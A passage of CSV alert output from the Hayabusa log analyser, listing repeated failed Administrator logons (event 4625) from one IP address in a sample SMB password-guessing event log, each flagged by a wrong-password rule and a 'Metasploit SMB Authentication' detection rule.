Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.897 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 67TcwQfTxgTtQvCU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.897 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.945 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: imnSPKAKYzrCKSUf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.945 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.024 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mMNbdjiXNUY0gTfB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.024 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.068 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zOAH0gjfs8JcXSMO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.068 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.117 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TnnB4KPBiDvKMsUL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.117 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.153 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0aZRgpa5riqIEWhQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.153 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.198 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BBL4nrs7f6cjlfsT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.198 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.247 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fgDupzqipe5jK0r5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.247 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.280 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5yPcTOWPuN8efJtl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.280 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.320 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Dszb6s0w6glvSkSw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.320 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.357 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ynu936pVVAuDUGT5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.357 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.407 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: c55o3Dca2tiUVwb2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.407 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.444 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tnDmp2KK02LyJ7Xm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.444 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.499 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xRUKrHDAmgEPcjQw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.499 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.548 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PCGKDvPhzg6BlsuU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.548 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.594 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OU28biGLJkFmB117 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.594 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.628 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 029LphuWcoo9S2hL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.628 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.670 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ItIROqP2wyzLJa9s : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.670 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.712 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XngGun3HYopTkcrA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.712 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.749 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: c91Qz5QNUczcm7m6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.749 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.784 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: t7nyWJJJhDiqnf1d : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.784 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.828 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bnj7hAp20gZE9FCe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.828 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.869 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FydQjBxO7XninU5Q : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.869 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.901 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3P8InIzyD86BXr1d : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.901 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.945 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wvKGa3A3qw7s0cZX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.945 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.993 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QTY7tRVEMjXZXFyH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:50.993 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.044 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: m4Ij1NSYGYbq4PxS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.044 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.088 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 47fOxZAYhjxLzEoU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.088 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.124 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aGxXaNNChVScbHe6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.124 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.161 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jTcVeB8f2Rs3Bldo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.161 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.201 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yeSnUlIbuDVNffey : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.201 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.308 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eXIM4tWru1x0AahJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.308 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.379 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: m2pBLn6aO8L4kiH5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.379 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.441 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EG5daDsgTMZsNg0T : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.441 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.492 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3V8z6j7GLO3ywBXc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.492 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.528 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AsezMvhUNedLNqg4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.528 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.574 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: h16AvUVZG8qch7LC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.574 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.687 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PB5xe3Aieya8N3IU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.687 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.765 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ezGXIhYrkk2Q9pe5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.765 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.813 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VSGIVhD6pO5z47DY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.813 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.862 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2vEjOhJW9G3aIfV0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.862 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.904 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hyvCpW3aOZqCOldu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.904 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.950 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oyhS2wAAkfmZuLll : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.950 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.993 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0bEh0KTMbbFtsfck : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.993 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.044 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mw9u61efa06vYv6L : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.044 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.092 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SAxij8QYLxxriIvu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.092 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.134 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HK2tbzICSpTrglud : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.134 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 